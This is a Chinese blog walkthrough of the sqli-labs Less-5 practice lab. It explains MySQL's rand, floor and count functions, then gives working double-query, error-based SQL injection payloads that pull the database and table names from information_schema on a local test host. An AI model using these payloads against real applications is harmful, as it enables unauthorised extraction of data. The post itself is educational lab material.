首页 > 数据库技术 > 详细

Sqli-lab 5

时间:2021-08-26 12:41:19      阅读:26      评论:0      收藏:0      [点我收藏+]

0x00双注入常见函数

 

rand():这里的随机数函数是会生成0~1的一串小数。

floor():取整函数,而且是向下取整的。

count():比如COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)。

来看看实例

rand()

技术分享图片

 

floor()向下取整很直观

 技术分享图片

 

 count()函数,这里是1个用户返回对应的值也就是1了

技术分享图片

 

 

 

构造一个双查询语句来看看

select concat((select database()),floor(rand()*2));

 

技术分享图片

 

 这里可以看到结果,是先执行的子查询,然后在执行父查询.

 

select concat((select database())) from emails;

这里我们后面跟上一个from 表名,就会返回查出对应表多少列数的数据,这里emails表是8列,返回也是8列

技术分享图片

 

 

 

这里的语句加了as list .... group by list,是通过子查询的结果作为一个名为list的分组 

 select  concat((select database()),floor(rand()*2 ))as list from information_schema.schemata group by list;

 

 

技术分享图片

 

 

这里加个count(*),把相同的分到一组,information_schema.schemata,数据库共有7个

技术分享图片

 

0x01注入暴库

 

payload:

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select database()),floor(rand()*2))as list from information_schema.tables group by list %23

 

 

技术分享图片

 

 

 

暴表名

 

payload:

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema=‘security‘ ),floor(rand()*2 ))as list from information_schema.tables group by list %23

这里返回值大于1列,表不止一个,但是只能显示1个,怎么办呢?

技术分享图片

 

 

 

这里就要用到之前说的limit函数了,通过它来查询我们指定的显示,

 

 这里用limit来指定显示 3开始的1条数据,就是users表了

http://127.0.0.1/sql/Less-5/
?id=1‘ union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema=‘security‘ limit 3,1 ),floor(rand()*2 ))as list from information_schema.tables group by list %23

 

技术分享图片

 

数据库里面确实也是这样的

技术分享图片

 

 

 

 

 然后后面就是大相径庭的暴字段和数据了,原理都是一样的~~

这里就就举个例子,剩下的一一对应查就好了

技术分享图片

 

 其实这里的floo(rand()*2),写成*200比较好,因为*2有时候会报错,反应到这关就是没有显示

技术分享图片

 

 

慢慢来吧~~

 

Sqli-lab 5

原文:https://www.cnblogs.com/byErichas/p/15181408.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!